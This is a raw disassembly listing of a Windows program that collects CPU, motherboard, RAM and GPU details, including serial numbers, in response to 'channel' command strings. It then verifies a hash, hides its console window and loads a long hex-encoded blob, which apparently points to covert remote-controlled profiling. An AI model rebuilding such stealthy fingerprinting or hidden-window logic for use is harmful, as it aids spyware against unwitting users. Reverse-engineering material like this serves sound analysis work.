mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140011d43
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011d3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013daf
call fcn.140022500
lea rdx, str.GPU_Driver_Version_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x80]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140011dc8
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011dc3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013db5
call fcn.140022500
lea rdx, str.GPU_Video_Architecture_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0xa0]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140011e4d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011e48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013dbb
call fcn.140022500
lea rdx, str.GPU_Video_Mode_Description_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0xe0]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140011ed2
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011ecd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013dc1
call fcn.140022500
lea rdx, str.GPU_Video_Processor_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x100]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140011f57
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011f52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013dc7
call fcn.140022500
lea rcx, [0x1400702f0]
call fcn.140014790
add rdi, 0x148
lea rax, [rdi - 0x20]
cmp rax, qword [rbp + 0x28]
jne 0x140011a80
mov ecx, 0x20
call fcn.140022508
mov qword [rsp + 0x68], rax
mov rcx, rax
call fcn.14001b8d0
mov r15, rax
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov qword [rbp + 0x10], r14
mov rcx, qword [rax + 8]
sub rcx, qword [rax]
movabs rax, 0x23ee08fb823ee09
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x1400131ec
movabs rax, 0x8fb823ee08fb82
cmp rdx, rax
ja 0x140013cb3
imul rdi, rdx, 0x1c8
cmp rdi, 0x1000
jb 0x140013177
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x140013dcd
call fcn.140022508
test rax, rax
je 0x140013dd3
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14001318c
lea rdx, str.channelcpu
mov rcx, rbx
call fcn.14004ec60
test eax, eax
jne 0x140012521
lea rcx, [rsp + 0x28]
call fcn.140014ae0
nop
lea rdx, [rbp - 0x40]
mov rbx, qword [rsp + 0x28]
mov rcx, rbx
call fcn.14000b370
nop
lea rdx, str.This_computer_has
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [rbx + 0x18]
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, str._CPU_s__installed
call fcn.140014830
mov rcx, rax
call fcn.140014790
mov rsi, qword [rbp - 0x40]
cmp rsi, qword [rbp - 0x38]
je 0x140012507
add rsi, 0x20
nop dword [rax]
lea rdx, str.Information_for_CPU_
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [rsi + 0xa0]
inc edx
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, [0x140063b2c]
call fcn.140014830
mov rcx, rax
call fcn.140014790
lea rdx, str.CPU_Name_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rsi - 0x20]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001215c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012157
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ccb
call fcn.140022500
lea rdx, str.CPU_Manufacturer_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
mov rdx, rsi
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400121dd
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400121d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013cd1
call fcn.140022500
lea rdx, str.Number_of_CPU_Cores_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rsi + 0x20]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001225f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001225a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013cd7
call fcn.140022500
lea rdx, str.Current_CPU_Clock_Speed_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x80]
lea rcx, [rsi - 0x20]
call fcn.140004040
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140012291
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400122e0
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400122db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013cdd
call fcn.140022500
lea rdx, str.CPU_Architecture_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rsi + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140012362
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001235d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ce3
call fcn.140022500
lea rdx, str.CPU_L2_Cache_Size_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rsi + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400123e4
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400123df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ce9
call fcn.140022500
lea rdx, str.CPU_L3_Cache_Size_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rsi + 0x80]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140012469
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012464
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013cef
call fcn.140022500
lea rdx, str.Current_CPU_Temperature_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x80]
call fcn.1400045b0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140012497
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400124e6
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400124e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013cf5
call fcn.140022500
lea rcx, [0x1400702f0]
call fcn.140014790
add rsi, 0xc8
lea rax, [rsi - 0x20]
cmp rax, qword [rbp - 0x38]
jne 0x1400120a0
lea rcx, [rbp - 0x40]
call fcn.14000b3e0
nop
mov rcx, rbx
call fcn.14000b3e0
mov rcx, rbx
jmp 0x140013c53
lea rdx, str.channelmotherboard
mov rcx, rbx
call fcn.14004ec60
test eax, eax
jne 0x14001289e
lea rcx, [rsp + 0x28]
call fcn.140014b20
nop
lea rdx, [rbp - 0x40]
mov rbx, qword [rsp + 0x28]
mov rcx, rbx
call fcn.140017020
nop
lea rdx, str.This_computer_has
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [rbx + 0x18]
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, str._motherboard_s__installed
call fcn.140014830
mov rcx, rax
call fcn.140014790
mov rsi, qword [rbp - 0x40]
cmp rsi, qword [rbp - 0x38]
je 0x140012884
add rsi, 0x20
nop dword [rax]
lea rdx, str.Information_for_motherboard_
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [rsi + 0x80]
inc edx
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, [0x140063b2c]
call fcn.140014830
mov rcx, rax
call fcn.140014790
lea rdx, str.Motherboard_Name_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rsi - 0x20]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001265c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012657
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013cfb
call fcn.140022500
lea rdx, str.Motherboard_Manufacturer_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
mov rdx, rsi
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400126dd
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400126d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d01
call fcn.140022500
lea rdx, str.Motherboard_Chipset_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rsi + 0x20]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001275f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001275a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d07
call fcn.140022500
lea rdx, str.Motherboard_Serial_Number_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rsi + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400127e1
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400127dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d0d
call fcn.140022500
lea rdx, str.Motherboard_Version_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rsi + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140012863
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001285e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d13
call fcn.140022500
lea rcx, [0x1400702f0]
call fcn.140014790
add rsi, 0xa8
lea rax, [rsi - 0x20]
cmp rax, qword [rbp - 0x38]
jne 0x1400125a0
lea rcx, [rbp - 0x40]
call fcn.140014530
nop
mov rcx, rbx
call fcn.140014530
mov rcx, rbx
jmp 0x140013c53
lea rdx, str.channelram
mov rcx, rbx
call fcn.14004ec60
test eax, eax
jne 0x140012bc0
lea rcx, [rsp + 0x28]
call fcn.140014b60
nop
lea rdx, [rbp - 0x40]
mov rbx, qword [rsp + 0x28]
mov rcx, rbx
call fcn.14001ecc0
nop
lea rdx, str.This_computer_has
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [rbx + 0x18]
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, str._RAM_stick_s__installed
call fcn.140014830
mov rcx, rax
call fcn.140014790
mov rbx, qword [rbp - 0x40]
mov qword [rsp + 0x30], rbx
cmp rbx, qword [rbp - 0x38]
je 0x140012ba7
nop word [rax + rax]
lea rdx, str.Information_for_RAM_stick_
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [rbx + 0x100]
inc edx
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, [0x140063b2c]
call fcn.140014830
mov rcx, rax
call fcn.140014790
lea rdx, str.RAM_Name_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14000de60
nop
mov rdx, rax
mov rcx, rdi
call fcn.140014770
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
lea rdx, str.RAM_Manufacturer_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbx + 0x20]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
mov rcx, rdi
call fcn.140014770
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x80]
call fcn.140005cf0
lea rdx, str.RAM_Capacity_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14000dea0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140012a0d
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
lea rdx, str.RAM_Serial_Number_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14000dec0
nop
mov rdx, rax
mov rcx, rdi
call fcn.140014770
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
lea rdx, str.RAM_Form_Factor_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14000dee0
nop
mov rdx, rax
mov rcx, rdi
call fcn.140014770
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
lea rdx, str.RAM_Part_Number_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14000df10
nop
mov rdx, rax
mov rcx, rdi
call fcn.140014770
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
lea rdx, str.RAM_Memory_Type_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14000df40
nop
mov rdx, rax
mov rcx, rdi
call fcn.140014770
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
lea rdx, str.RAM_Clock_Speed_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbx + 0xe0]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x80]
call fcn.140005cf0
lea rcx, [0x1400702f0]
call fcn.140014790
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x30]
call fcn.140013ec0
mov rbx, qword [rsp + 0x30]
cmp rbx, qword [rbp - 0x38]
jne 0x140012920
lea rcx, [rbp - 0x40]
call fcn.140014470
nop
lea rcx, [rsp + 0x28]
call fcn.140013ee0
jmp 0x140013c5e
lea rdx, str.channelgpu
mov rcx, rbx
call fcn.14004ec60
test eax, eax
jne 0x140012efd
lea rcx, [rsp + 0x30]
call fcn.140014ba0
nop
lea rdx, [rbp - 0x40]
mov rbx, qword [rsp + 0x30]
mov rcx, rbx
call fcn.14000ea70
nop
lea rdx, str.This_computer_has
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [rbx + 0x18]
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, str._GPU_s__installed
call fcn.140014830
mov rcx, rax
call fcn.140014790
mov rbx, qword [rbp - 0x40]
mov qword [rsp + 0x28], rbx
cmp rbx, qword [rbp - 0x38]
je 0x140012ee4
nop dword [rax]
lea rdx, str.Information_for_GPU_
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [rbx + 0x140]
inc edx
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, [0x140063b2c]
call fcn.140014830
mov rcx, rax
call fcn.140014790
lea rdx, str.GPU_Name_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14000de60
nop
mov rdx, rax
mov rcx, rdi
call fcn.140014770
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
lea rdx, str.GPU_Manufacturer_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14000de80
nop
mov rdx, rax
mov rcx, rdi
call fcn.140014770
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
lea rdx, str.GPU_Caption_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14000dea0
nop
mov rdx, rax
mov rcx, rdi
call fcn.140014770
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
lea rdx, str.GPU_Adapter_RAM_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14000dec0
nop
mov rdx, rax
mov rcx, rdi
call fcn.140014770
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
lea rdx, str.GPU_Refresh_Rate_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14000dee0
nop
mov rdx, rax
mov rcx, rdi
call fcn.140014770
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
lea rdx, str.GPU_Driver_Version_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14000df10
nop
mov rdx, rax
mov rcx, rdi
call fcn.140014770
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
lea rdx, str.GPU_Video_Architecture_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14000df40
nop
mov rdx, rax
mov rcx, rdi
call fcn.140014770
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
lea rdx, str.GPU_Video_Mode_Description_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14000dfa0
nop
mov rdx, rax
mov rcx, rdi
call fcn.140014770
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
lea rdx, str.GPU_Video_Processor_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14000df70
nop
mov rdx, rax
mov rcx, rdi
call fcn.140014770
mov rcx, rax
call fcn.140014790
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
lea rcx, [0x1400702f0]
call fcn.140014790
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x28]
call fcn.140013e70
mov rbx, qword [rsp + 0x28]
cmp rbx, qword [rbp - 0x38]
jne 0x140012c40
lea rcx, [rbp - 0x40]
call fcn.14000ead0
nop
lea rcx, [rsp + 0x30]
call fcn.140013e90
jmp 0x140013c5e
mov rdx, rbx
lea rcx, [rbp - 0x40]
call fcn.140005f10
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x80]
call fcn.140010690
nop
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1400107d0
lea rdx, str.c4f1ed75f5956da410e52acc363ec3b8fd049598c8a760cb56d86568f57a5117
mov rcx, rax
call fcn.140006970
movzx ebx, al
lea rcx, [rbp - 0x60]
call fcn.140005cf0
nop
lea rcx, [rbp - 0x80]
call fcn.140014060
nop
lea rcx, [rbp - 0x40]
call fcn.140005cf0
test bl, bl
je 0x140013c5e
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.1400206f0
cmp al, 1
jne 0x140013c5e
call fcn.140020a90
mov rbx, rax
test rax, rax
je 0x14001316c
lea rdx, str.90844e31cd6858ba5f221e7abce5c5c342f3b5432f5364bef4a1945a4b0b9e54c4fbf31a0e8a5ba1b0a472a5a52908868139077be282152ea4e4b80519e07ba567861e52a75657356e282202b64d7e3a8aaf77b2279f2eb62961423a2f146643d3483cdc6c400e59ad3d54448a7ca414dd4b23b1b7c89131bd8450c73a3b77ac1a3eadb668de442949ad2ba2cee333a687ac7e6cc79d1df2a56692183ec8ad63b1f5fab1f1647df88cc6f2ac01494ab8f4fab1700aa8e5fb3e8fb1f4942f5dfd5847f1b4ce6123b712865b9137fd611596e3f6583356f572276be1f1d21800ec77ccc62419e0464102fdaa44860e53f61e657094a91890d1f054c9359fd7579d2adccc34ee0317e6020e7e408dbc16b7bcf81cd20370ab4e27fc5993a4cc534ee0f3959469603ad414a08bd35caff920ab05acedfe2c357bc9bee611a807bcb58e0e999c86899bd82171d85355ced81bfbc6e210a1b1023a7617d58e05269cdd0d60c25df024be5c7a67cf62678fbb3a20b06c21bf6afcb60733d6505b63a780711d9324ab37c45385435c138d9a8bcadda8a147ecfc8a8156e347be72fc67fedcffb38bf16fc66296fc640e439d9b9ecf689dc6cf1f28b56aee439842d663fbe5a83cc868075ee8ca821f7e2fcd824f515c428849148eedabf4606feb8eea5522b6badd59999982ef799588a186fa4221b2848bdce99d046e307ec05459edcba8ee97fafb4e925fcaae814b891e696fd7760de1c5f9949a73b556d51ca2c134125ce49842eacf9a310b4c877ec7956ef5f6cb1ab4f9a8aabf825795bf4fd467056c32990bcd5ae623f5a7d030b2da04ae3e18f7c43a7d7c33c9b5d9e123540599649f09103a95d68a81981a9c0be3d93d0296b599df5a4b568d54ad2f91608833213bc01b9f50bb62a37146d4cf9d2c070372790d276bfff6abc47fe643bd9468eff0baf2f1a36b701facbc019e728f993ac33b2d44dbfa8a498039da9a3fd34cb0dabfabb01b0caf48817ce4e69eb38cdd8afd8d7c5d815efa7147ddd99c7a2f39b32e674a7db730b3cafc2f07583d1a4c822189c2c686ab0c1f4c5f0f5160c0a5c2eac45fa03dd02b677854ed2f0f076b25726af328385003005d01d24b65544863445c3f4f96813a3302cefb4c392d087f8a4c06152b78c8ecc0bd0e9ed7630d8976e5dab793d7cb87c1be0dc9fca7116fd495170d9b0ec6b34675f28959d6780707bbc69ab4f8a80b68413c4ee4f0127b349010739c2e7d8a23db979d259cb06ed199b28e5201bc3072a49e2e6b845eed4fa1ef34b4b7ba2c835fac9783e0a48a17a57cead0f2a5e242e5e63ade14838e7f0b9e16a452e503fb58c46a7b7cc10d8e859645313f31bf0f43c7140ad6511a9066f8cad5e76810338b0d27d336ccbf65f68d80194b629e721d61a8e02eb6d67e37ab7cdd73e27aff39750fd783c92c17da7083a773b5f8
lea rcx, [rbp - 0x60]
